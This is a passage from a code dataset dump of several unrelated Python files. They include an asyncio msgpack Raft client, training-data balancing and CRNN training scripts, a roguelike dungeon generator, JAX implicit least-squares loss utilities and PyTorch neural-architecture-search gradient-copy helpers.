asyncio.AbstractEventLoop\n self.remote_host = host # type: str\n self.remote_port = int(port) # type: int\n self.timeout = timeout # type: int\n self.connection = Connection(host, port, loop) # type: Connection\n\n @asyncio.coroutine\n def __get_response(self):\n code = Code.unpack((yield from self.connection.readexactly(len(Code))))\n\n length = Types.ulong.unpack((\n yield from self.connection.readexactly(len(Types.ulong))\n ))\n\n data = msgpack.loads((yield from self.connection.readexactly(length)))\n return code, data\n\n @staticmethod\n def __create_request(command: Command, request_data=None):\n payload = msgpack.dumps(request_data)\n length = len(payload)\n\n return command.pack() + Types.ulong.pack(length) + payload\n\n @asyncio.coroutine\n def request(self, command: Command, payload: dict, timeout=None):\n with Timeout(timeout or self.timeout, loop=self.loop):\n yield from self.connection.connect()\n self.connection.write(\n self.__create_request(command, payload)\n )\n yield from self.connection.drain()\n return (yield from self.__get_response())\n\n def map(self, timeout=None):\n return self.request(Command.MAP, timeout)\n\n def set(self, key, value, timeout=None):\n return self.request(Command.SET, {'value': value, 'key': key}, timeout=timeout)\n\n def get(self, key, timeout=None):\n return self.request(Command.GET, {'key': key}, timeout=timeout)\n\n\nclass NodeClient(Client):\n __slots__ = 'node_host', 'node_port'\n\n def __init__(self, *args, **kwargs):\n node = kwargs.pop('node')\n self.node_host = node.host\n self.node_port = node.port\n super(NodeClient, self).__init__(*args, **kwargs)\n\n def join(self, host, port, timeout=None):\n return self.request(Command.JOIN, dict(host=host, port=port), timeout=timeout)\n\n def replicate(self, timeout=None, **kwargs):\n return self.request(Command.REPLICATE, kwargs, timeout=timeout)\n","sub_path":"aioraft/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"16888214","text":"import sys\nimport os\nimport numpy as np\nimport pandas as pd\nfrom random import shuffle\nfrom getinput import key_codes_list, key_codes_dict\n\n\ndef count_data(data):\n key_names = []\n\n for x in data[1]:\n for y in x:\n if y is 1:\n index = x.index(y)\n try:\n key = key_codes_list[index]\n except Exception:\n key = 'NO_KEY'\n key_names.append(key)\n continue\n for key_name, key_code in key_codes_dict.items():\n if key_code is key:\n key_names.append(key_name)\n\n key_names_set = set(key_names)\n for item in key_names_set:\n print('{}: {}'.format(item, key_names.count(item)))\n\n\ndef balance_data(training_data, game_name):\n file_path = os.path.dirname(os.path.realpath('initializer.py'))\n file_name = file_path + '\\\\generated files\\\\training data\\\\' + str(game_name).lower().replace(' ', '-').replace(\n '\\'', '') + '-training_data.npy'\n\n train_data = training_data\n\n df = pd.DataFrame(train_data)\n\n print('-----------Starting Data--------------\\n')\n\n count_data(df)\n\n train_data_dict = {}\n\n count = 1\n for data in train_data:\n img = data[0]\n choice = data[1]\n\n for item in choice:\n if item is 0:\n pass\n elif item is 1:\n index = list(choice).index(item)\n if index not in train_data_dict:\n train_data_dict[index] = []\n train_data_dict[index].append([img, choice])\n\n print('Balancing Data:', count, '/', len(train_data), end='\\r')\n count += 1\n\n values = []\n\n for key, value in train_data_dict.items():\n values.append(len(train_data_dict[key]))\n\n values_to_delete = []\n\n for value in values:\n if value < 1000:\n values_to_delete.append(value)\n\n for k in list(train_data_dict.keys()):\n for value in values_to_delete:\n try:\n if len(train_data_dict[k]) is value:\n del train_data_dict[k]\n except:\n pass\n\n new_training_data = []\n for key, value in train_data_dict.items():\n new_training_data += train_data_dict[key]\n\n # print(\"\\n\\nSaving updated training data...\")\n # np.save(file_name, new_training_data)\n\n for value in values_to_delete:\n values.remove(value)\n\n lowest_value = min(values)\n\n final_data = []\n\n for key, value in train_data_dict.items():\n train_data_dict[key] = train_data_dict[key][:lowest_value]\n final_data += train_data_dict[key]\n\n shuffle(final_data)\n\n print('\\n-----------Final Data--------------\\n')\n\n fd = pd.DataFrame(final_data)\n\n count_data(fd)\n\n print(\"Saving balanced training data...\")\n np.save(file_name, final_data)\n\nif __name__ == \"__main__\":\n file_name = None\n game_name = sys.argv[1]\n file_path = os.path.dirname(os.path.realpath('initializer.py'))\n file_name = file_path + '\\\\generated files\\\\training data\\\\' + str(game_name).lower().replace(' ', '-').replace(\n '\\'', '') + '-training_data.npy'\n print('Loading data for balancing...\\n')\n balance_data(np.load(file_name), game_name)\n","sub_path":"balance_data.py","file_name":"balance_data.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"355473365","text":"import unittest\nfrom maflib.test import TestTask\nimport vowpal_util\n\nclass TestVowpalUtil(unittest.TestCase):\n libsvm_example = \"\"\"1 197:0.18 321:0.18\n2 7:0.21 1039:0.21 1628:0.21\"\"\"\n\n vowpal_example = \"\"\"1 | 197:0.18 321:0.18\n2 | 7:0.21 1039:0.21 1628:0.21\"\"\"\n \n def test_convert_format(self):\n task = TestTask()\n task.set_input(0, self.libsvm_example)\n\n vowpal_util.convert_libsvm_format_to_vowpal(task)\n\n self.assertEqual(task.outputs[0].read(), self.vowpal_example)\n\n def test_num_classes(self):\n task = TestTask()\n task.set_input(0, self.vowpal_example)\n\n vowpal_util.num_classes(task)\n\n self.assertEqual(int(task.outputs[0].read()), 2)\n","sub_path":"samples/vowpal/test_vowpal_util.py","file_name":"test_vowpal_util.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"416405996","text":"'''\n@Author: your name\n@Date: 2020-06-17 13:06:18\n@LastEditTime: 2020-06-19 15:13:45\n@LastEditors: Please set LastEditors\n@Description: In User Settings Edit\n@FilePath: /final/task2_crnn/main.py\n'''\nimport argparse\nimport os\nfrom Trainer import Solver\nfrom dataLoader import get_loader\nfrom torch.backends import cudnn\nimport random\nfrom torch.utils.data import sampler\n\n\ndef main(config):\n\n cudnn.benchmark = True # to improve the efficiency\n\n # Create directories if not exist\n if not os.path.exists(config.model_path):\n os.makedirs(config.model_path)\n if not os.path.exists(config.result_path):\n os.makedirs(config.result_path)\n config.result_path = os.path.join(config.result_path, config.model_type)\n if not os.path.exists(config.result_path):\n os.makedirs(config.result_path)\n \n # lr = random.random()*0.0005 + 0.0000005\n # augmentation_prob = random.random()*0.7\n # epoch = random.choice([100, 150, 200, 250])\n # decay_ratio = random.random()*0.8\n # decay_epoch = int(epoch*decay_ratio)\n #\n # config.augmentation_prob = augmentation_prob\n # config.num_epochs = epoch\n # config.lr = lr\n # config.num_epochs_decay = decay_epoch\n\n print(config)\n\n # Notice the difference between these loaders\n train_loader = get_loader(config = config,\n image_path=config.train_path,\n crop_size=config.crop_size,\n batch_size=config.batch_size,\n sampler = sampler.SubsetRandomSampler(range(0,100000)),\n num_workers=config.num_workers,\n mode='train',\n augmentation_prob=config.augmentation_prob)\n valid_loader = get_loader(config = config,\n image_path=config.valid_path,\n crop_size=config.crop_size,\n batch_size=config.batch_size,\n sampler = sampler.SubsetRandomSampler(range(100000,103943)),\n num_workers=config.num_workers,\n mode='valid',\n augmentation_prob=0.)\n\n solver = Solver(config, train_loader, valid_loader)\n \n # Train and sample the images\n if config.mode == 'train':\n solver.train()\n elif config.mode == 'val':\n solver.val()\n else:\n solver.detect()\n # todo: change the test method and write the save prediction function\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n # model hyper-parameters\n parser.add_argument('--crop_size', type=int, default=120) \n # training hyper-parameters\n parser.add_argument('--img_ch', type=int, default=3)\n parser.add_argument('--img_H', type=int, default=32)\n parser.add_argument('--num_epochs', type=int, default=200)\n parser.add_argument('--num_epochs_decay', type=int, default=50)\n parser.add_argument('--batch_size', type=int, default=2*128)\n parser.add_argument('--num_workers', type=int, default=32)\n parser.add_argument('--lr', type=float, default=0.001)\n parser.add_argument('--beta1', type=float, default=0.5) # momentum1 in Adam\n parser.add_argument('--beta2', type=float, default=0.999) # momentum2 in Adam \n parser.add_argument('--augmentation_prob', type=float, default=0.4)\n\n parser.add_argument('--log_step', type=int, default=2)\n parser.add_argument('--val_step', type=int, default=2)\n\n # misc\n parser.add_argument('--mode', type=str, default='val')\n parser.add_argument('--model_type', type=str, default='CRNN')\n parser.add_argument('--model_path', type=str, default='./task2_crnn/models')\n parser.add_argument('--train_path', type=str, default='../data/train/')\n parser.add_argument('--valid_path', type=str, default='../data/test/')\n parser.add_argument('--result_path', type=str, default='../result/')\n parser.add_argument('--text_path', type=str, default='../text/')\n parser.add_argument('--image_root', type=str, default='./data/result/image/')\n parser.add_argument('--landmark_root', type=str, default='./data/result/gt/')\n parser.add_argument('--lstm_hidden', type=int, default=256)\n # todo: validate image num in these folders\n\n parser.add_argument('--cuda_idx', type=int, default=1)\n\n config = parser.parse_args() # return a namespace, use the parameters by config.image_size\n main(config)\n","sub_path":"Final-Project/code/task2_crnn/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"225480567","text":"from map import Map\nfrom room import Room\nimport tcod\n\nclass DungeonGenerator:\n def __init__(self, map_width, map_height, max_rooms, max_room_size, min_room_size):\n self.map_width = map_width\n self.map_height = map_height\n self.max_rooms = max_rooms\n self.max_room_size = max_room_size\n self.min_room_size = min_room_size\n\n self.map = Map(height=self.map_height, width=self.map_width)\n\n def generate(self):\n for r in range(self.max_rooms):\n new_room = self.generate_room()\n if not self.intersects_existing_room(new_room):\n self.add_room_to_map(new_room)\n return self.map\n\n\n def intersects_existing_room(self, new_room):\n # Check for intersections with existing rooms\n intersection = False\n for room in self.map.rooms:\n if new_room.intersects(room):\n intersection = True\n break\n return intersection\n\n\n def generate_room(self):\n # get a random width and height\n r_width = tcod.random_get_int(0, self.min_room_size, self.max_room_size)\n r_height = tcod.random_get_int(0, self.min_room_size, self.max_room_size)\n # get a random position on the map\n x = tcod.random_get_int(0, 0, self.map_width - r_width - 1)\n y = tcod.random_get_int(0, 0, self.map_height - r_height - 1)\n return Room(x=x, y=y, width=r_width, height=r_height)\n\n\n def add_room_to_map(self, new_room):\n # There are no intersections with existing rooms, so add the room to the map\n self.map.rooms.append(new_room)\n self.map.carve_room(new_room)\n\n if len(self.map.rooms) > 1:\n prev_room = self.map.rooms[len(self.map.rooms) - 2]\n self.connect_rooms(prev_room, new_room)\n\n\n def connect_rooms(self, room1, room2):\n # Randomly choose whether the tunnel goes horizontal or vertical first\n if tcod.random_get_int(0, 0, 1) == 1:\n self.map.create_horizontal_tunnel(room1.center().x, room2.center().x, room1.center().y)\n self.map.create_vertical_tunnel(room1.center().y, room2.center().y, room2.center().x)\n else:\n self.map.create_vertical_tunnel(room1.center().y, room2.center().y, room1.center().x)\n self.map.create_horizontal_tunnel(room1.center().x, room2.center().x, room2.center().y)\n","sub_path":"dungeon_generator.py","file_name":"dungeon_generator.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"109046896","text":"#\n# @lc app=leetcode.cn id=835 lang=python3\n#\n# [835] 图像重叠\n#\n# https://leetcode-cn.com/problems/image-overlap/description/\n#\n# algorithms\n# Medium (56.80%)\n# Likes: 15\n# Dislikes: 0\n# Total Accepted: 1.1K\n# Total Submissions: 2K\n# Testcase Example: '[[1,1,0],[0,1,0],[0,1,0]]\\n[[0,0,0],[0,1,1],[0,0,1]]'\n#\n# 给出两个图像 A 和 B ,A 和 B 为大小相同的二维正方形矩阵。(并且为二进制矩阵,只包含0和1)。\n#\n# 我们转换其中一个图像,向左,右,上,或下滑动任何数量的单位,并把它放在另一个图像的上面。之后,该转换的重叠是指两个图像都具有 1 的位置的数目。\n#\n# (请注意,转换不包括向任何方向旋转。)\n#\n# 最大可能的重叠是什么?\n#\n# 示例 1:\n#\n# 输入:A = [[1,1,0],\n# ⁠ [0,1,0],\n# [0,1,0]]\n# B = [[0,0,0],\n# [0,1,1],\n# [0,0,1]]\n# 输出:3\n# 解释: 将 A 向右移动一个单位,然后向下移动一个单位。\n#\n# 注意: \n#\n#\n# 1 <= A.length = A[0].length = B.length = B[0].length <= 30\n# 0 <= A[i][j], B[i][j] <= 1\n#\n#\n#\n\n\nclass Solution:\n def largestOverlap(self, A: List[List[int]], B: List[List[int]]) -> int:\n # 暴力搜索...\n # 注意可以向4个方向平移!!\n oneInB = set()\n for i in range(len(B)):\n for j in range(len(B[0])):\n if B[i][j] == 1:\n oneInB.add((i, j))\n res = 0\n for di in range(len(A)):\n for dj in range(len(A[0])):\n oneInA = set()\n for i in range(len(A)-di):\n for j in range(len(A[0])-dj):\n if A[i][j] == 1:\n oneInA.add((i+di, j+dj))\n res = max(res, len(oneInB & oneInA))\n oneInA = set()\n for i in range(di, len(A)):\n for j in range(dj, len(A[0])):\n if A[i][j] == 1:\n oneInA.add((i-di, j-dj))\n res = max(res, len(oneInB & oneInA))\n return res\n","sub_path":"Medium/835.图像重叠.py","file_name":"835.图像重叠.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"577862856","text":"# coding=utf-8\n# Copyright 2022 The Google Research Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Loss Utilities.\"\"\"\nimport functools\nimport itertools\nfrom typing import Optional, Sequence\n\nimport chex\nimport jax\nimport jax.numpy as jnp\n\n\n@functools.partial(jax.jit, static_argnames=('normalization'))\ndef cov_inv_estimate(\n phis,\n *,\n alpha,\n normalization = 'max_feature_norm'):\n \"\"\"Covariance inverse estimate.\"\"\"\n # pylint: disable=invalid-name\n _, embedding_dim = phis.shape\n I = jnp.eye(embedding_dim)\n\n if normalization == 'top_singular_value':\n norm = jnp.linalg.norm(phis.T @ phis, ord=2)\n alpha = alpha * 1.0 / norm\n elif normalization == 'max_feature_norm':\n norm = 2 * jnp.amax(jnp.linalg.norm(phis, axis=1, ord=2))\n alpha = alpha * 1.0 / norm\n\n def _neumann_series(carry, phi):\n A_j = alpha * I\n A_j += (I - alpha * jnp.einsum('i,j->ij', phi, phi)) @ carry\n return A_j, None\n\n # pylint: enable=invalid-name\n cov_inv, _ = jax.lax.scan(_neumann_series, alpha * I, phis)\n return cov_inv\n\n\ndef weight_estimate(phis_for_cov, phis,\n psis, *, alpha):\n cov_inv = cov_inv_estimate(phis_for_cov, alpha=alpha)\n return cov_inv @ phis.T @ psis / phis.shape[0]\n\n\n@functools.partial(jax.custom_vjp, nondiff_argnums=(8,))\ndef implicit_least_squares(phis, phis_for_wi1,\n phis_for_wi2, phis_for_cov1,\n phis_for_cov2, psis,\n psis_for_wi1, psis_for_wi2,\n alpha):\n \"\"\"Implicit least squares objective.\"\"\"\n # Make sure all the shapes agree\n chex.assert_equal_shape([phis_for_cov1, phis_for_cov2])\n chex.assert_equal_shape([phis_for_wi1, phis_for_wi2])\n chex.assert_equal_shape([psis_for_wi1, psis_for_wi2])\n chex.assert_equal_shape_prefix([phis, psis], 1)\n chex.assert_scalar(alpha)\n chex.assert_rank([\n phis,\n phis_for_cov1,\n phis_for_cov2,\n phis_for_wi1,\n phis_for_wi2,\n psis,\n psis_for_wi1,\n psis_for_wi2,\n ], 2)\n\n # Get w_1 estimate on the forward pass when computing the loss\n w = weight_estimate(phis_for_cov1, phis_for_wi1, psis_for_wi1, alpha=alpha)\n # w = weight_estimate(phis_for_cov1, phis, psis, alpha=alpha)\n # Predict using w_1\n predictions = phis @ w\n # Least-squares cost\n cost = predictions - psis\n # MSE Loss\n mse = 0.5 * jnp.mean(cost**2)\n\n return mse\n\n\ndef implicit_least_squares_fwd(\n phis, phis_for_wi1, phis_for_wi2,\n phis_for_cov1, phis_for_cov2, psis,\n psis_for_wi1, psis_for_wi2,\n alpha):\n \"\"\"Forward pass for implicit least squares objective.\"\"\"\n chex.assert_equal_shape([phis_for_cov1, phis_for_cov2])\n chex.assert_equal_shape([phis_for_wi1, phis_for_wi2])\n chex.assert_equal_shape([psis_for_wi1, psis_for_wi2])\n chex.assert_equal_shape_prefix([phis, psis], 1)\n chex.assert_scalar(alpha)\n chex.assert_rank([\n phis,\n phis_for_cov1,\n phis_for_cov2,\n phis_for_wi1,\n phis_for_wi2,\n psis,\n psis_for_wi1,\n psis_for_wi2,\n ], 2)\n\n # Get w_1 estimate on the forward pass when computing the loss\n w = weight_estimate(phis_for_cov1, phis_for_wi1, psis_for_wi1, alpha=alpha)\n # w = weight_estimate(phis_for_cov1, phis, psis, alpha=alpha)\n\n # Predict using w_1\n predictions = phis @ w\n # Least-squares cost\n cost = predictions - psis\n # MSE Loss\n mse = implicit_least_squares(\n phis,\n phis_for_wi1,\n phis_for_wi2,\n phis_for_cov1,\n phis_for_cov2,\n psis,\n psis_for_wi1,\n psis_for_wi2,\n alpha=alpha)\n\n # Return appropriate residuals so we can compute w_2 on backward pass\n return mse, (cost, phis_for_cov2, phis_for_wi2, psis_for_wi2)\n\n\ndef implicit_least_squares_bwd(alpha, residuals,\n g):\n \"\"\"Backward pass for implicit least squares objective.\"\"\"\n # Get residuals\n cost, phis_for_cov2, phis_for_wi2, psis_for_wi2 = residuals\n # Compute w_2\n w_prime = weight_estimate(\n phis_for_cov2, phis_for_wi2, psis_for_wi2, alpha=alpha)\n # w_prime = weight_estimate(phis_for_cov2, phis, psis, alpha=alpha)\n # Grad is cost @ w_2.T\n phi_grads = g * cost @ w_prime.T\n\n # There's no grads associated with any other inputs except for Phi(s)\n return phi_grads, None, None, None, None, None, None, None\n\nimplicit_least_squares.defvjp(implicit_least_squares_fwd,\n implicit_least_squares_bwd)\n\n\n@functools.partial(jax.custom_vjp, nondiff_argnums=(2,))\ndef naive_implicit_least_squares(phis, psis, alpha):\n \"\"\"Naive implicit least squares objective.\"\"\"\n # Get w_1 estimate on the forward pass when computing the loss\n w = weight_estimate(phis, phis, psis, alpha=alpha)\n # Predict using w_1\n predictions = phis @ w\n # Least-squares cost\n cost = predictions - psis\n # MSE Loss\n mse = 0.5 * jnp.mean(cost**2)\n\n return mse\n\n\ndef naive_implicit_least_squares_fwd(\n phis, psis,\n alpha):\n \"\"\"Forward pass for naive implicit least squares objective.\"\"\"\n # Get w_1 estimate on the forward pass when computing the loss\n w = weight_estimate(phis, phis, psis, alpha=alpha)\n # Predict using w_1\n predictions = phis @ w\n # Least-squares cost\n cost = predictions - psis\n # MSE Loss\n mse = naive_implicit_least_squares(phis, psis, alpha=alpha)\n\n # Return appropriate residuals so we can compute w_2 on backward pass\n return mse, (cost, w)\n\n\ndef naive_implicit_least_squares_bwd(_, residuals,\n g):\n \"\"\"Backward pass for naive implicit least squares objective.\"\"\"\n cost, w = residuals\n grad = g * cost @ w.T\n return grad, None\n\nnaive_implicit_least_squares.defvjp(naive_implicit_least_squares_fwd,\n naive_implicit_least_squares_bwd)\n\n\n# Helper function to split in chunks, e.g., split(x, [5, 2])\n# would split x into two arrays of size 5 and 2.\ndef split_in_chunks(x,\n chunks,\n *,\n axis=0):\n split_points = list(itertools.accumulate(chunks))\n splits = jnp.split(x, split_points, axis=axis)\n return splits[:len(chunks)]\n\n\ndef top_d_singular_vectors(x, d):\n \"\"\"Get top-d singular vectors.\"\"\"\n u, _, _ = jnp.linalg.svd(x, full_matrices=False)\n return u[:, :d]\n\n\ndef grassman_distance(y1, y2):\n \"\"\"Grassman distance between subspaces spanned by Y1 and Y2.\"\"\"\n q1, _ = jnp.linalg.qr(y1)\n q2, _ = jnp.linalg.qr(y2)\n\n _, sigma, _ = jnp.linalg.svd(q1.T @ q2)\n sigma = jnp.round(sigma, decimals=6)\n return jnp.linalg.norm(jnp.arccos(sigma))\n","sub_path":"aux_tasks/grid/loss_utils.py","file_name":"loss_utils.py","file_ext":"py","file_size_in_byte":6999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"494851823","text":"def calculatediff(k,q):\n s= 0\n for i in range(min(len(k),len(q))):\n if k[i] != q[i]:\n s += 1\n return s\nfor t2 in range(int(input())):\n n,m,p = list(map(int,input().split()))\n l2 = []\n s = []\n f = []\n ans= []\n for i in range(n):\n s.append(input())\n for i in range(m):\n f.append(input())\n bi = len(s[0])\n l = [bin(x)[2:].rjust(bi, '0') for x in range(2**bi)]\n for j in l:\n if j not in f:\n l2.append(j)\n for k in l2:\n t = 0\n for q in s:\n t+=calculatediff(k,q)\n ans.append(t)\n # print(s)\n # print(\"---=-=-==-=-=-\")\n # print(l)\n #print(\"---------\")\n # print(f)\n #print(\"*****\")\n # print(ans)\n u = min(ans)\n #print(u)\n #y: minimum complaints for shakti\n print(\"Case #{0}: {1}\".format(t2+1,u))\n","sub_path":"Code Jam/2018/kickstart/R-E/]milk/milk.py","file_name":"milk.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"444368567","text":"__author__ = 'Luz'\nimport numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\n\nvar = np.loadtxt('sun_AM0.dat')\n\nwave = []\npower = []\nPW=[]\nWV=[]\nfor i in range(0,len(var)):\n wv = var[i][0]\n wave.append(wv)\n WV.append(wv*10)\n\n pwr = var[i][1]\n power.append(pwr)\n PW.append(pwr*(10**10))\n\nfsolution = integrate.quad(PW, WV[0], WV[:])\ndsolution = integrate.trapz(PW, x=0.5)\nprint('fsolution = ' + str(fsolution[0]))\nprint('dsolution = ' + str(dsolution))\nprint('The difference is ' + str(np.abs(fsolution[0] - dsolution)))","sub_path":"scipy.py","file_name":"scipy.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"19171767","text":"import torchvision.datasets as dset\nimport utils\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom operations import *\nfrom torch.autograd import Variable\nfrom genotypes import PRIMITIVES\nfrom genotypes import Genotype\nfrom collections import Counter\n\n# from child_model import *\ndef initialize_gradients(model, optimizer):\n optimizer.zero_grad()\n input = torch.ones(3, 3, 32, 32).float()\n output = model(input)\n loss = output.sum()\n loss.backward()\n optimizer.zero_grad()\n\ndef getRepeatedPath(architectures):\n '''\n Function that gets how much the paths should be normalized by counting how much times that path appers in all children\n\n Input:\n architectures: list of architecture for an array of one path child dags\n\n Output:\n repeated_counter: an array that inidicates how many times the path appeared between children\n '''\n architectures = np.array(architectures)\n repeated_counter = np.zeros_like(architectures)\n\n for i in range(architectures.shape[1]):\n for j in range(architectures.shape[2]):\n temp = []\n for k in range(architectures.shape[0]):\n temp.append(architectures[k, i, j])\n count = dict(Counter(temp))\n\n\n for k in range(architectures.shape[0]):\n repeated_counter[k, i, j] = count[architectures[k, i, j]]\n\n return repeated_counter\n\ndef accumulateMonoGradients(parent, child, norm=False, num_child=None, norm_factor=None):\n '''\n Function that accumulates gradients from a single child to the parent\n\n Input:\n parent: super graph nn object\n child: one path nn object\n norm: true or false indicating whether or not to normalize the accumulated gradients\n num_child: number of child paths in one training\n norm_factor: the normalizing factor for the path weights (note that if norm == True norm_factor != None)\n '''\n assert len(parent.cells) == len(child.cells)\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.stem.named_parameters(), child.stem.named_parameters()):\n if norm:\n paramValueParent.grad += paramValueChild.grad.clone() / num_child\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.global_pooling.named_parameters(), child.global_pooling.named_parameters()):\n if norm:\n paramValueParent.grad += paramValueChild.grad.clone() / num_child\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.classifier.named_parameters(), child.classifier.named_parameters()):\n if norm:\n paramValueParent.grad += paramValueChild.grad.clone() / num_child\n\n for i in range(len(parent.cells)):\n parent_cell = parent.cells[i]\n child_cell = child.cells[i]\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_cell.preprocess0.named_parameters(), child_cell.preprocess0.named_parameters()):\n if norm:\n paramValueParent.grad += paramValueChild.grad.clone() / num_child\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_cell.preprocess1.named_parameters(), child_cell.preprocess1.named_parameters()):\n if norm:\n paramValueParent.grad += paramValueChild.grad.clone() / num_child\n\n for j in range(len(parent_cell._ops)):\n parent_op = parent_cell._ops[j]\n child_op = child_cell._ops[j]\n choice_index = child_op.choice_index\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_op._ops[choice_index].named_parameters(), child_op._ops[0].named_parameters()):\n # print(paramNameParent)\n # print(paramNameChild)\n\n if norm:\n paramValueParent.grad += paramValueChild.grad.clone() / norm_factor[i, j]\n\ndef accumulateGradients(parent, child_models, norm=False, norm_factors=None):\n '''\n Function that accumulates gradients from multiple child models on to the super graph\n\n Input:\n parent: super graph nn object\n child_models: list of one path child model nn object\n norm: true or false indicating whether or not to normalize the accumulated gradients\n norm_factor: the normalizing factor for the path weights (note that if norm == True norm_factor != None) (an array one for each of the children)\n '''\n assert len(parent.cells) == len(child.cells)\n\n for i in range(len(child_models)):\n accumulateMonoGradients(parent, child_models[i], norm=norm, num_child=len(child_models), norm_factor=norm_factors[i])\n\n\ndef copyChildToParent(parent, child, weight_copy=False, grad_copy=False):\n assert len(parent.cells) == len(child.cells)\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.stem.named_parameters(), child.stem.named_parameters()):\n if weight_copy == True:\n paramValueParent.data = paramValueChild.data.clone()\n if grad_copy == True:\n paramValueParent.grad = paramValueChild.grad.clone()\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.global_pooling.named_parameters(), child.global_pooling.named_parameters()):\n if weight_copy == True:\n paramValueParent.data = paramValueChild.data.clone()\n if grad_copy == True:\n paramValueParent.grad = paramValueChild.grad.clone()\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.classifier.named_parameters(), child.classifier.named_parameters()):\n if weight_copy == True:\n paramValueParent.data = paramValueChild.data.clone()\n if grad_copy == True:\n paramValueParent.grad = paramValueChild.grad.clone()\n\n for i in range(len(parent.cells)):\n parent_cell = parent.cells[i]\n child_cell = child.cells[i]\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_cell.preprocess0.named_parameters(), child_cell.preprocess0.named_parameters()):\n if weight_copy == True:\n paramValueParent.data = paramValueChild.data.clone()\n if grad_copy == True:\n paramValueParent.grad = paramValueChild.grad.clone()\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_cell.preprocess1.named_parameters(), child_cell.preprocess1.named_parameters()):\n if weight_copy == True:\n paramValueParent.data = paramValueChild.data.clone()\n if grad_copy == True:\n paramValueParent.grad = paramValueChild.grad.clone()\n\n for j in range(len(parent_cell._ops)):\n parent_op = parent_cell._ops[j]\n child_op = child_cell._ops[j]\n choice_index = child_op.choice_index\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_op._ops[choice_index].named_parameters(), child_op._ops[0].named_parameters()):\n # print(paramNameParent)\n # print(paramNameChild)\n\n if weight_copy == True:\n paramValueParent.data = paramValueChild.data.clone()\n if grad_copy == True:\n paramValueParent.grad = paramValueChild.grad.clone()\n\ndef copyParentToChild(parent, child, weight_copy=False, grad_copy=False):\n assert len(parent.cells) == len(child.cells)\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.stem.named_parameters(), child.stem.named_parameters()):\n if weight_copy == True:\n paramValueChild.data = paramValueParent.data.clone()\n if grad_copy == True:\n paramValueChild.grad = paramValueParent.grad.clone()\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.global_pooling.named_parameters(), child.global_pooling.named_parameters()):\n if weight_copy == True:\n paramValueChild.data = paramValueParent.data.clone()\n if grad_copy == True:\n paramValueChild.grad = paramValueParent.grad.clone()\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent.classifier.named_parameters(), child.classifier.named_parameters()):\n if weight_copy == True:\n paramValueChild.data = paramValueParent.data.clone()\n if grad_copy == True:\n paramValueChild.grad = paramValueParent.grad.clone()\n\n for i in range(len(parent.cells)):\n parent_cell = parent.cells[i]\n child_cell = child.cells[i]\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_cell.preprocess0.named_parameters(), child_cell.preprocess0.named_parameters()):\n if weight_copy == True:\n paramValueChild.data = paramValueParent.data.clone()\n if grad_copy == True:\n paramValueChild.grad = paramValueParent.grad.clone()\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_cell.preprocess1.named_parameters(), child_cell.preprocess1.named_parameters()):\n if weight_copy == True:\n paramValueChild.data = paramValueParent.data.clone()\n if grad_copy == True:\n paramValueChild.grad = paramValueParent.grad.clone()\n\n for j in range(len(parent_cell._ops)):\n parent_op = parent_cell._ops[j]\n child_op = child_cell._ops[j]\n choice_index = child_op.choice_index\n\n for (paramNameParent, paramValueParent), (paramNameChild, paramValueChild) in zip(parent_op._ops[choice_index].named_parameters(), child_op._ops[0].named_parameters()):\n # print(paramNameParent)\n # print(paramNameChild)\n\n if weight_copy == True:\n paramValueChild.data = paramValueParent.data.clone()\n\n if grad_copy == True:\n paramValueChild.grad = paramValueParent.grad.clone()\n\nclass 